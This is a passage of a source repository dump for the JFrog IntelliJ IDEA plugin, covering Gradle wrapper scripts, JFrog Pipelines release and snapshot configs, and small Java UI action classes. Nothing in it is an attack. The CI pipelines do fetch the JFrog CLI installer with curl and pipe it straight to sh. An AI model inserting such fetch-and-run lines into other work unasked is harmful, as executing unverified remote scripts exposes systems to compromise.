gradlePropertiesFile.withWriter('UTF-8') { fileWriter ->\n        gradleProps.each { key, value -> fileWriter.writeLine \"$key=$value\" }\n    }\n}\n"
  },
  {
    "path": "gradle/wrapper/gradle-wrapper.properties",
    "content": "distributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-7.6-bin.zip\nnetworkTimeout=10000\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\n"
  },
  {
    "path": "gradle.properties",
    "content": "webviewVersion=0.2.14\nsandboxVersion=2022.3.2\nwebviewChecksum=434265d6fa98eabbb4108f3157ce5cdc499c4d9fa294eb7b723e2a4d559ed156\ncurrentVersion=2.8.x-SNAPSHOT\n"
  },
  {
    "path": "gradlew",
    "content": "#!/bin/sh\n\n#\n# Copyright © 2015-2021 the original authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n##############################################################################\n#\n#   Gradle start up script for POSIX generated by Gradle.\n#\n#   Important for running:\n#\n#   (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is\n#       noncompliant, but you have some other compliant shell such as ksh or\n#       bash, then to run this script, type that shell name before the whole\n#       command line, like:\n#\n#           ksh Gradle\n#\n#       Busybox and similar reduced shells will NOT work, because this script\n#       requires all of these POSIX shell features:\n#         * functions;\n#         * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,\n#           «${var#prefix}», «${var%suffix}», and «$( cmd )»;\n#         * compound commands having a testable exit status, especially «case»;\n#         * various built-in commands including «command», «set», and «ulimit».\n#\n#   Important for patching:\n#\n#   (2) This script targets any POSIX shell, so it avoids extensions provided\n#       by Bash, Ksh, etc; in particular arrays are avoided.\n#\n#       The \"traditional\" practice of packing multiple parameters into a\n#       space-separated string is a well documented source of bugs and security\n#       problems, so this is (mostly) avoided, by progressively accumulating\n#       options in \"$@\", and eventually passing that to Java.\n#\n#       Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,\n#       and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;\n#       see the in-line comments for details.\n#\n#       There are tweaks for specific operating systems such as AIX, CygWin,\n#       Darwin, MinGW, and NonStop.\n#\n#   (3) This script is generated from the Groovy template\n#       https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt\n#       within the Gradle project.\n#\n#       You can find Gradle at https://github.com/gradle/gradle/.\n#\n##############################################################################\n\n# Attempt to set APP_HOME\n\n# Resolve links: $0 may be a link\napp_path=$0\n\n# Need this for daisy-chained symlinks.\nwhile\n    APP_HOME=${app_path%\"${app_path##*/}\"}  # leaves a trailing /; empty if no leading path\n    [ -h \"$app_path\" ]\ndo\n    ls=$( ls -ld \"$app_path\" )\n    link=${ls#*' -> '}\n    case $link in             #(\n      /*)   app_path=$link ;; #(\n      *)    app_path=$APP_HOME$link ;;\n    esac\ndone\n\n# This is normally unused\n# shellcheck disable=SC2034\nAPP_BASE_NAME=${0##*/}\nAPP_HOME=$( cd \"${APP_HOME:-./}\" && pwd -P ) || exit\n\n# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.\nDEFAULT_JVM_OPTS='\"-Xmx64m\" \"-Xms64m\"'\n\n# Use the maximum available, or set MAX_FD != -1 to use that value.\nMAX_FD=maximum\n\nwarn () {\n    echo \"$*\"\n} >&2\n\ndie () {\n    echo\n    echo \"$*\"\n    echo\n    exit 1\n} >&2\n\n# OS specific support (must be 'true' or 'false').\ncygwin=false\nmsys=false\ndarwin=false\nnonstop=false\ncase \"$( uname )\" in                #(\n  CYGWIN* )         cygwin=true  ;; #(\n  Darwin* )         darwin=true  ;; #(\n  MSYS* | MINGW* )  msys=true    ;; #(\n  NONSTOP* )        nonstop=true ;;\nesac\n\nCLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar\n\n\n# Determine the Java command to use to start the JVM.\nif [ -n \"$JAVA_HOME\" ] ; then\n    if [ -x \"$JAVA_HOME/jre/sh/java\" ] ; then\n        # IBM's JDK on AIX uses strange locations for the executables\n        JAVACMD=$JAVA_HOME/jre/sh/java\n    else\n        JAVACMD=$JAVA_HOME/bin/java\n    fi\n    if [ ! -x \"$JAVACMD\" ] ; then\n        die \"ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME\n\nPlease set the JAVA_HOME variable in your environment to match the\nlocation of your Java installation.\"\n    fi\nelse\n    JAVACMD=java\n    which java >/dev/null 2>&1 || die \"ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.\n\nPlease set the JAVA_HOME variable in your environment to match the\nlocation of your Java installation.\"\nfi\n\n# Increase the maximum file descriptors if we can.\nif ! \"$cygwin\" && ! \"$darwin\" && ! \"$nonstop\" ; then\n    case $MAX_FD in #(\n      max*)\n        # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.\n        # shellcheck disable=SC3045 \n        MAX_FD=$( ulimit -H -n ) ||\n            warn \"Could not query maximum file descriptor limit\"\n    esac\n    case $MAX_FD in  #(\n      '' | soft) :;; #(\n      *)\n        # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.\n        # shellcheck disable=SC3045 \n        ulimit -n \"$MAX_FD\" ||\n            warn \"Could not set maximum file descriptor limit to $MAX_FD\"\n    esac\nfi\n\n# Collect all arguments for the java command, stacking in reverse order:\n#   * args from the command line\n#   * the main class name\n#   * -classpath\n#   * -D...appname settings\n#   * --module-path (only if needed)\n#   * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.\n\n# For Cygwin or MSYS, switch paths to Windows format before running java\nif \"$cygwin\" || \"$msys\" ; then\n    APP_HOME=$( cygpath --path --mixed \"$APP_HOME\" )\n    CLASSPATH=$( cygpath --path --mixed \"$CLASSPATH\" )\n\n    JAVACMD=$( cygpath --unix \"$JAVACMD\" )\n\n    # Now convert the arguments - kludge to limit ourselves to /bin/sh\n    for arg do\n        if\n            case $arg in                                #(\n              -*)   false ;;                            # don't mess with options #(\n              /?*)  t=${arg#/} t=/${t%%/*}              # looks like a POSIX filepath\n                    [ -e \"$t\" ] ;;                      #(\n              *)    false ;;\n            esac\n        then\n            arg=$( cygpath --path --ignore --mixed \"$arg\" )\n        fi\n        # Roll the args list around exactly as many times as the number of\n        # args, so each arg winds up back in the position where it started, but\n        # possibly modified.\n        #\n        # NB: a `for` loop captures its iteration list before it begins, so\n        # changing the positional parameters here affects neither the number of\n        # iterations, nor the values presented in `arg`.\n        shift                   # remove old arg\n        set -- \"$@\" \"$arg\"      # push replacement arg\n    done\nfi\n\n# Collect all arguments for the java command;\n#   * $DEFAULT_JVM_OPTS, $JAVA_OPTS, and $GRADLE_OPTS can contain fragments of\n#     shell script including quotes and variable substitutions, so put them in\n#     double quotes to make sure that they get re-expanded; and\n#   * put everything else in single quotes, so that it's not re-expanded.\n\nset -- \\\n        \"-Dorg.gradle.appname=$APP_BASE_NAME\" \\\n        -classpath \"$CLASSPATH\" \\\n        org.gradle.wrapper.GradleWrapperMain \\\n        \"$@\"\n\n# Stop when \"xargs\" is not available.\nif ! command -v xargs >/dev/null 2>&1\nthen\n    die \"xargs is not available\"\nfi\n\n# Use \"xargs\" to parse quoted args.\n#\n# With -n1 it outputs one arg per line, with the quotes and backslashes removed.\n#\n# In Bash we could simply go:\n#\n#   readarray ARGS < <( xargs -n1 <<<\"$var\" ) &&\n#   set -- \"${ARGS[@]}\" \"$@\"\n#\n# but POSIX shell has neither arrays nor command substitution, so instead we\n# post-process each arg (as a line of input to sed) to backslash-escape any\n# character that might be a shell metacharacter, then use eval to reverse\n# that process (while maintaining the separation between arguments), and wrap\n# the whole thing up as a single \"set\" statement.\n#\n# This will of course break if any of these variables contains a newline or\n# an unmatched quote.\n#\n\neval \"set -- $(\n        printf '%s\\n' \"$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS\" |\n        xargs -n1 |\n        sed ' s~[^-[:alnum:]+,./:=@_]~\\\\&~g; ' |\n        tr '\\n' ' '\n    )\" '\"$@\"'\n\nexec \"$JAVACMD\" \"$@\"\n"
  },
  {
    "path": "gradlew.bat",
    "content": "@rem\n@rem Copyright 2015 the original author or authors.\n@rem\n@rem Licensed under the Apache License, Version 2.0 (the \"License\");\n@rem you may not use this file except in compliance with the License.\n@rem You may obtain a copy of the License at\n@rem\n@rem      https://www.apache.org/licenses/LICENSE-2.0\n@rem\n@rem Unless required by applicable law or agreed to in writing, software\n@rem distributed under the License is distributed on an \"AS IS\" BASIS,\n@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n@rem See the License for the specific language governing permissions and\n@rem limitations under the License.\n@rem\n\n@if \"%DEBUG%\"==\"\" @echo off\n@rem ##########################################################################\n@rem\n@rem  Gradle startup script for Windows\n@rem\n@rem ##########################################################################\n\n@rem Set local scope for the variables with windows NT shell\nif \"%OS%\"==\"Windows_NT\" setlocal\n\nset DIRNAME=%~dp0\nif \"%DIRNAME%\"==\"\" set DIRNAME=.\n@rem This is normally unused\nset APP_BASE_NAME=%~n0\nset APP_HOME=%DIRNAME%\n\n@rem Resolve any \".\" and \"..\" in APP_HOME to make it shorter.\nfor %%i in (\"%APP_HOME%\") do set APP_HOME=%%~fi\n\n@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.\nset DEFAULT_JVM_OPTS=\"-Xmx64m\" \"-Xms64m\"\n\n@rem Find java.exe\nif defined JAVA_HOME goto findJavaFromJavaHome\n\nset JAVA_EXE=java.exe\n%JAVA_EXE% -version >NUL 2>&1\nif %ERRORLEVEL% equ 0 goto execute\n\necho.\necho ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.\necho.\necho Please set the JAVA_HOME variable in your environment to match the\necho location of your Java installation.\n\ngoto fail\n\n:findJavaFromJavaHome\nset JAVA_HOME=%JAVA_HOME:\"=%\nset JAVA_EXE=%JAVA_HOME%/bin/java.exe\n\nif exist \"%JAVA_EXE%\" goto execute\n\necho.\necho ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%\necho.\necho Please set the JAVA_HOME variable in your environment to match the\necho location of your Java installation.\n\ngoto fail\n\n:execute\n@rem Setup the command line\n\nset CLASSPATH=%APP_HOME%\\gradle\\wrapper\\gradle-wrapper.jar\n\n\n@rem Execute Gradle\n\"%JAVA_EXE%\" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% \"-Dorg.gradle.appname=%APP_BASE_NAME%\" -classpath \"%CLASSPATH%\" org.gradle.wrapper.GradleWrapperMain %*\n\n:end\n@rem End local scope for the variables with windows NT shell\nif %ERRORLEVEL% equ 0 goto mainEnd\n\n:fail\nrem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of\nrem the _cmd.exe /c_ return code!\nset EXIT_CODE=%ERRORLEVEL%\nif %EXIT_CODE% equ 0 set EXIT_CODE=1\nif not \"\"==\"%GRADLE_EXIT_CONSOLE%\" exit %EXIT_CODE%\nexit /b %EXIT_CODE%\n\n:mainEnd\nif \"%OS%\"==\"Windows_NT\" endlocal\n\n:omega\n"
  },
  {
    "path": "release/pipelines.release.yml",
    "content": "pipelines:\n  - name: release_jfrog_idea_plugin\n    configuration:\n      runtime:\n        type: image\n        image:\n          auto:\n            language: java\n            versions:\n              - \"17\"\n      environmentVariables:\n        readOnly:\n          NEXT_VERSION: 0.0.0\n          NEXT_DEVELOPMENT_VERSION: 0.0.x-SNAPSHOT\n          SKIP_AUDIT: \"false\"\n\n    steps:\n      - name: Release\n        type: Bash\n        configuration:\n          inputResources:\n            - name: jfrogIdeaPluginReleaseGit\n          integrations:\n            - name: il_automation\n            - name: ecosys_entplus_deployer\n            - name: jetbrains\n        execution:\n          onExecute:\n            - cd $res_jfrogIdeaPluginReleaseGit_resourcePath\n\n            # Set env\n            - export CI=true\n            - export JFROG_BUILD_STATUS=PASS\n            - export JFROG_CLI_BUILD_NAME=ecosystem-jfrog-idea-plugin-release\n            - export JFROG_CLI_BUILD_NUMBER=$run_number\n            - export JFROG_CLI_BUILD_PROJECT=ecosys\n\n            # Configure git\n            - if [[ $NEXT_VERSION =~ ^1.* ]]; then BRANCH=\"v1\"; else BRANCH=\"master\"; fi\n            - git checkout ${BRANCH}\n            - git remote set-url origin https://$int_il_automation_token@github.com/jfrog/jfrog-idea-plugin.git\n\n            # Make sure versions provided\n            - echo \"Checking variables\"\n            - test -n \"$NEXT_VERSION\" -a \"$NEXT_VERSION\" != \"0.0.0\"\n            - test -n \"$NEXT_DEVELOPMENT_VERSION\" -a \"$NEXT_DEVELOPMENT_VERSION\" != \"0.0.x-SNAPSHOT\"\n\n            # Configure JFrog CLI\n            - curl -fL https://install-cli.jfrog.io | sh\n            - jf c rm --quiet\n            - jf c add internal --url=$int_ecosys_entplus_deployer_url --user=$int_ecosys_entplus_deployer_user --password=$int_ecosys_entplus_deployer_apikey\n\n            # Run audit\n            - |\n              if [ \"$SKIP_AUDIT\" != \"true\" ]; then\n                jf audit\n              else\n                echo \"Skipping audit according to environment variable\"\n              fi\n\n            # Update version\n            - sed -i \"s/\\(currentVersion=\\).*\\$/\\1${NEXT_VERSION}/\" gradle.properties\n            - git commit -am \"[artifactory-release] Release version ${NEXT_VERSION} [skipRun]\" --allow-empty\n            - git tag ${NEXT_VERSION}\n\n            # Run build and publish\n            - jf gradlec --use-wrapper --repo-deploy ecosys-oss-release-local --deploy-maven-desc --deploy-ivy-desc=false\n            - >\n              env -i PATH=$PATH HOME=$HOME CI=$CI\n              JFROG_CLI_BUILD_NAME=$JFROG_CLI_BUILD_NAME\n              JFROG_CLI_BUILD_NUMBER=$JFROG_CLI_BUILD_NUMBER\n              JFROG_CLI_BUILD_PROJECT=$JFROG_CLI_BUILD_PROJECT\n              jf gradle clean buildPlugin -x test artifactoryPublish\n            - jf rt bag && jf rt bce\n            - jf rt bp\n\n            # Distribute release bundle\n            - jf ds rbc ecosystem-jfrog-idea-plugin $NEXT_VERSION --spec=./release/specs/prod-rbc-filespec.json --spec-vars=\"version=$NEXT_VERSION\" --sign\n            - jf ds rbd ecosystem-jfrog-idea-plugin $NEXT_VERSION --site=\"releases.jfrog.io\" --sync\n\n            # Upload to Jetbrains marketplace\n            - env -i PATH=$PATH HOME=$HOME JAVA_HOME=$JAVA_HOME JETBRAINS_TOKEN=$int_jetbrains_token ./gradlew publishPlugin\n\n            # Update next development version\n            - sed -i \"s/\\(currentVersion=\\).*\\$/\\1${NEXT_DEVELOPMENT_VERSION}/\" gradle.properties\n            - git commit -am \"[jfrog-release] Next development version [skipRun]\"\n            - git push\n            - git push --tags\n"
  },
  {
    "path": "release/pipelines.resources.yml",
    "content": "resources:\n  - name: jfrogIdeaPluginSnapshotGit\n    type: GitRepo\n    configuration:\n      path: jfrog/jfrog-idea-plugin\n      gitProvider: il_automation\n      buildOn:\n        pullRequestCreate: true\n        commit: true\n      branches:\n        include: master\n      cancelPendingRunsOn:\n        pullRequestUpdate: true\n\n  - name: jfrogIdeaPluginReleaseGit\n    type: GitRepo\n    configuration:\n      path: jfrog/jfrog-idea-plugin\n      gitProvider: il_automation\n      buildOn:\n        commit: false\n"
  },
  {
    "path": "release/pipelines.snapshot.yml",
    "content": "pipelines:\n  - name: build_jfrog_idea_plugin_snapshot\n    configuration:\n      runtime:\n        type: image\n        image:\n          auto:\n            language: java\n            versions:\n              - \"17\"\n\n    steps:\n      - name: Snapshot\n        type: Bash\n        configuration:\n          inputResources:\n            - name: jfrogIdeaPluginSnapshotGit\n          integrations:\n            - name: entplus_deployer\n        execution:\n          onStart:\n            - restore_cache_files gradle_cache $res_jfrogIdeaPluginSnapshotGit_resourcePath/.gradle\n          onExecute:\n            - cd $res_jfrogIdeaPluginSnapshotGit_resourcePath\n\n            # Set env\n            - export CI=true\n            - export JFROG_BUILD_STATUS=PASS\n            - export JFROG_CLI_BUILD_NAME=ecosystem-jfrog-idea-plugin-dev\n            - export JFROG_CLI_BUILD_NUMBER=$run_number\n            - export JFROG_CLI_BUILD_PROJECT=ecosys\n\n            # Configure JFrog CLI\n            - curl -fL https://install-cli.jfrog.io | sh\n            - jf c rm --quiet\n            - jf c add internal --url=$int_entplus_deployer_url --user=$int_entplus_deployer_user --password=$int_entplus_deployer_apikey\n\n            # Run audit\n            - jf audit\n\n            # Delete former snapshots to make sure the release bundle will not contain the same artifacts\n            - jf rt del \"ecosys-oss-snapshot-local/com/jfrog/ide/jfrog-idea-plugin/*\" --quiet\n\n            # Run test, build and publish snapshot\n            - jf gradlec --use-wrapper --repo-deploy ecosys-oss-snapshot-local --deploy-maven-desc --deploy-ivy-desc=false\n            - >\n              env -i PATH=$PATH HOME=$HOME CI=$CI\n              JFROG_CLI_BUILD_NAME=$JFROG_CLI_BUILD_NAME\n              JFROG_CLI_BUILD_NUMBER=$JFROG_CLI_BUILD_NUMBER\n              JFROG_CLI_BUILD_PROJECT=$JFROG_CLI_BUILD_PROJECT\n              jf gradle clean buildPlugin -x test artifactoryPublish\n            - jf rt bag && jf rt bce\n            - jf rt bp\n\n            # Distribute release bundle\n            - jf ds rbc ecosystem-jfrog-idea-plugin-snapshot $run_number --spec=./release/specs/dev-rbc-filespec.json --sign\n            - jf ds rbd ecosystem-jfrog-idea-plugin-snapshot $run_number --site=\"releases.jfrog.io\" --sync\n\n          onComplete:\n            # Save gradle cache\n            - add_cache_files $res_jfrogIdeaPluginSnapshotGit_resourcePath/.gradle gradle_cache\n"
  },
  {
    "path": "release/specs/dev-rbc-filespec.json",
    "content": "{\n  \"files\": [\n    {\n      \"pattern\": \"ecosys-oss-snapshot-local/(com/jfrog/ide/jfrog-idea-plugin/*/jfrog-idea-plugin-*)\",\n      \"target\": \"oss-snapshot-local/{1}\"\n    }\n  ]\n}\n"
  },
  {
    "path": "release/specs/prod-rbc-filespec.json",
    "content": "{\n  \"files\": [\n    {\n      \"pattern\": \"ecosys-oss-release-local/(com/jfrog/ide/jfrog-idea-plugin/${version}/jfrog-idea-plugin-*)\",\n      \"target\": \"oss-release-local/{1}\"\n    }\n  ]\n}\n"
  },
  {
    "path": "settings.gradle",
    "content": "pluginManagement {\n    repositories {\n        maven {\n            url 'https://oss.sonatype.org/content/repositories/snapshots/'\n        }\n        gradlePluginPortal()\n    }\n}\n\nrootProject.name = 'jfrog-idea-plugin'\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/Syncable.java",
    "content": "package com.jfrog.ide.idea;\n\nimport com.intellij.util.messages.Topic;\nimport com.jfrog.ide.idea.events.ApplicationEvents;\n\npublic interface Syncable {\n    Topic<ApplicationEvents> getSyncEvent();\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/actions/CollapseAllAction.java",
    "content": "package com.jfrog.ide.idea.actions;\n\nimport com.intellij.icons.AllIcons;\nimport com.intellij.openapi.actionSystem.AnAction;\nimport com.intellij.openapi.actionSystem.AnActionEvent;\nimport com.intellij.openapi.project.DumbAware;\nimport org.jetbrains.annotations.NotNull;\n\nimport javax.swing.*;\n\n/**\n * Collapse all action that calls treeCollapsed() once in the end instead of for each row.\n *\n * Created by Yahav Itzhak on 3 Jan 2018.\n */\npublic class CollapseAllAction extends AnAction implements DumbAware {\n\n    private JTree myTree;\n\n    @SuppressWarnings(\"DialogTitleCapitalization\")\n    private CollapseAllAction() {\n        super(\"Collapse All\", \"Collapse All\", AllIcons.Actions.Collapseall);\n    }\n\n    public CollapseAllAction(@NotNull JTree tree) {\n        this();\n        this.myTree = tree;\n    }\n\n    @Override\n    public void actionPerformed(@NotNull AnActionEvent e) {\n        for (int i = myTree.getRowCount() - 1; i >= 0; i--) {\n            myTree.collapseRow(i);\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/actions/CreateIgnoreRuleAction.java",
    "content": "package com.jfrog.ide.idea.actions;\n\nimport com.intellij.icons.AllIcons;\nimport com.intellij.ide.BrowserUtil;\nimport com.intellij.openapi.options.ShowSettingsUtil;\nimport com.intellij.openapi.ui.MessageType;\nimport com.intellij.openapi.ui.popup.Balloon;\nimport com.intellij.openapi.ui.popup.JBPopupFactory;\nimport com.intellij.ui.awt.RelativePoint;\nimport com.jfrog.ide.idea.ui.configuration.JFrogGlobalConfiguration;\n\nimport javax.swing.*;\nimport java.awt.event.ActionEvent;\nimport java.awt.event.MouseEvent;\n\nimport static com.jfrog.ide.idea.ui.LocalComponentsTree.IGNORE_RULE_TOOL_TIP;\nimport static javax.swing.event.HyperlinkEvent.EventType.ACTIVATED;\nimport static org.apache.commons.lang3.StringUtils.isBlank;\n\n/**\n * Create Ignore Rule button in the right-click menu of the issues table.\n *\n * @author yahavi\n **/\npublic class CreateIgnoreRuleAction extends AbstractAction {\n    private final String ignoreRuleUrl;\n    private final MouseEvent mouseEvent;\n\n    public CreateIgnoreRuleAction(String ignoreRuleUrl, MouseEvent mouseEvent) {\n        super(\"Create Vulnerability Ignore Rule\", AllIcons.RunConfigurations.ShowIgnored);\n        this.ignoreRuleUrl = ignoreRuleUrl;\n        this.mouseEvent = mouseEvent;\n    }\n\n    @Override\n    public void actionPerformed(ActionEvent e) {\n        if (isBlank(this.ignoreRuleUrl)) {\n            Balloon balloon = JBPopupFactory.getInstance().createHtmlTextBalloonBuilder(IGNORE_RULE_TOOL_TIP + \"<br><a href=\\\"Configure it here.\\\"> Configure it here. </a>\", MessageType.ERROR,\n                            event -> {\n                                if (event.getEventType() != ACTIVATED) {\n                                    return;\n                                }\n                                ShowSettingsUtil.getInstance().showSettingsDialog(null, JFrogGlobalConfiguration.class, JFrogGlobalConfiguration::selectSettingsTab);\n                            })\n                    .setHideOnAction(true)\n                    .setHideOnClickOutside(true)\n                    .setHideOnLinkClick(true)\n                    .setHideOnKeyOutside(true)\n                    .setDialogMode(true)\n                    .createBalloon();\n            balloon.show(new RelativePoint(mouseEvent), Balloon.Position.above);\n        } else {\n            BrowserUtil.browse(ignoreRuleUrl);\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/actions/ExpandAllAction.java",
    "content": "package com.jfrog.ide.idea.actions;\n\nimport com.intellij.icons.AllIcons;\nimport com.intellij.openapi.actionSystem.AnAction;\nimport com.intellij.openapi.actionSystem.AnActionEvent;\nimport com.intellij.openapi.project.DumbAware;\nimport org.jetbrains.annotations.NotNull;\n\nimport javax.swing.*;\n\n/**\n * Expand all action that calls treeExpanded() once in the end instead of for each row.\n *\n * Created by Yahav Itzhak on 3 Jan 2018.\n */\npublic class ExpandAllAction extends AnAction implements DumbAware {\n\n    private JTree myTree;\n\n    @SuppressWarnings(\"DialogTitleCapitalization\")\n    private ExpandAllAction() {\n        super(\"Expand All\", \"Expand All\", AllIcons.Actions.Expandall);\n    }\n\n    public ExpandAllAction(@NotNull JTree tree) {\n        this();\n        this.myTree = tree;\n    }\n\n    @Override\n    public void actionPerformed(@NotNull AnActionEvent e) {\n        for (int i = 0; i < myTree.getRowCount(); i++) {\n            myTree.expandRow(i);\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/actions/GoToSettingsAction.java",
    "content": "package com.jfrog.ide.idea.actions;\n\nimport com.intellij.icons.AllIcons;\nimport com.intellij.openapi.actionSystem.AnAction;\nimport com.intellij.openapi.actionSystem.AnActionEvent;\nimport com.intellij.openapi.options.ShowSettingsUtil;\nimport com.jfrog.ide.idea.ui.configuration.JFrogGlobalConfiguration;\n\n/**\n * Created by tala on 9/3/23.\n */\npublic class GoToSettingsAction extends AnAction {\n    public GoToSettingsAction() {\n        super(\"JFrog Global Configuration\", \"Go to JFrog global configuration\", AllIcons.General.Settings);\n    }\n\n    @Override\n    public void actionPerformed(AnActionEvent e) {\n        ShowSettingsUtil.getInstance().showSettingsDialog(null, JFrogGlobalConfiguration.class);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/actions/RefreshBuildsAction.java",
    "content": "package com.jfrog.ide.idea.actions;\n\nimport com.intellij.openapi.actionSystem.AnAction;\nimport com.intellij.openapi.actionSystem.AnActionEvent;\nimport com.jfrog.ide.idea.ci.CiManager;\n\n/**\n * Created by romang on 3/6/17.\n */\npublic class RefreshBuildsAction extends AnAction {\n\n    @Override\n    public void actionPerformed(AnActionEvent e) {\n        if (e.getProject() == null) {\n            return;\n        }\n        CiManager.getInstance(e.getProject()).asyncRefreshBuilds();\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/actions/ScanTimeLabelAction.java",
    "content": "package com.jfrog.ide.idea.actions;\n\nimport com.intellij.icons.AllIcons;\nimport com.intellij.openapi.actionSystem.ActionUpdateThread;\nimport com.intellij.openapi.actionSystem.AnActionEvent;\nimport com.intellij.openapi.actionSystem.Presentation;\nimport com.intellij.openapi.actionSystem.ex.ToolbarLabelAction;\nimport com.intellij.openapi.project.Project;\nimport com.jfrog.ide.idea.scan.ScanManager;\nimport com.jfrog.ide.idea.ui.LocalComponentsTree;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.time.Instant;\nimport java.time.LocalDateTime;\nimport java.time.ZoneId;\nimport java.time.format.DateTimeFormatter;\nimport java.time.format.FormatStyle;\n\npublic class ScanTimeLabelAction extends ToolbarLabelAction {\n\n    @Override\n    public void update(@NotNull AnActionEvent e) {\n        super.update(e);\n        Project project = e.getProject();\n        if (project == null) {\n            return;\n        }\n        Long lastScanTime = LocalComponentsTree.getInstance(project).lastScanTime();\n        boolean isScanInProgress = ScanManager.getInstance(project).isScanInProgress();\n        Presentation presentation = e.getPresentation();\n        if (!isScanInProgress && lastScanTime != null) {\n            DateTimeFormatter format = DateTimeFormatter.ofLocalizedDateTime(FormatStyle.MEDIUM);\n            LocalDateTime lastScanString = LocalDateTime.ofInstant(Instant.ofEpochMilli(lastScanTime), ZoneId.systemDefault());\n            boolean expired = LocalComponentsTree.getInstance(project).isCacheExpired();\n            String expiredMessage = expired ? \" (outdated)\" : \"\";\n            presentation.setText(\"Last scanned at \" + format.format(lastScanString) + expiredMessage);\n            presentation.setIcon(expired ? AllIcons.General.Warning : null);\n        } else {\n            presentation.setText(\"\");\n            presentation.setIcon(null);\n        }\n    }\n\n    @NotNull\n    @Override\n    public ActionUpdateThread getActionUpdateThread() {\n        return ActionUpdateThread.EDT;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/actions/StartLocalScanAction.java",
    "content": "package com.jfrog.ide.idea.actions;\n\nimport com.intellij.openapi.actionSystem.ActionUpdateThread;\nimport com.intellij.openapi.actionSystem.AnAction;\nimport com.intellij.openapi.actionSystem.AnActionEvent;\nimport com.intellij.openapi.project.Project;\nimport com.jfrog.ide.idea.scan.ScanManager;\nimport org.jetbrains.annotations.NotNull;\n\n/**\n * Created by romang on 3/6/17.\n */\npublic class StartLocalScanAction extends AnAction {\n    @Override\n    public @NotNull ActionUpdateThread getActionUpdateThread() {\n        return ActionUpdateThread.BGT;\n    }\n\n    @Override\n    public void actionPerformed(AnActionEvent e) {\n        Project project = e.getProject();\n        if (project == null) {\n            return;\n        }\n        ScanManager.getInstance(project).startScan();\n    }\n\n    @Override\n    public void update(@NotNull AnActionEvent e) {\n        Project project = e.getProject();\n        if (project == null) {\n            return;\n        }\n        boolean isScanInProgress = ScanManager.getInstance(project).isScanInProgress();\n        e.getPresentation().setVisible(!isScanInProgress);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/actions/StopLocalScanAction.java",
    "content": "package com.jfrog.ide.idea.actions;\n\nimport com.intellij.openapi.actionSystem.ActionUpdateThread;\nimport com.intellij.openapi.actionSystem.AnAction;\nimport com.intellij.openapi.actionSystem.AnActionEvent;\nimport com.intellij.openapi.project.Project;\nimport com.jfrog.ide.idea.scan.ScanManager;\nimport org.jetbrains.annotations.NotNull;\n\n/**\n * Created by tala on 10/10/23.\n */\npublic class StopLocalScanAction extends AnAction {\n    @Override\n    public @NotNull ActionUpdateThread getActionUpdateThread() {\n        return ActionUpdateThread.BGT;\n    }\n\n    @Override\n    public void actionPerformed(AnActionEvent e) {\n        Project project = e.getProject();\n        if (project == null) {\n            return;\n        }\n        ScanManager.getInstance(project).stopScan();\n    }\n\n    @Override\n    public void update(@NotNull AnActionEvent e) {\n        Project project = e.getProject();\n        if (project == null) {\n            return;\n        }\n        boolean isScanInProgress = ScanManager.getInstance(project).isScanInProgress();\n        e.getPresentation().setVisible(isScanInProgress);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ci/CiManager.java",
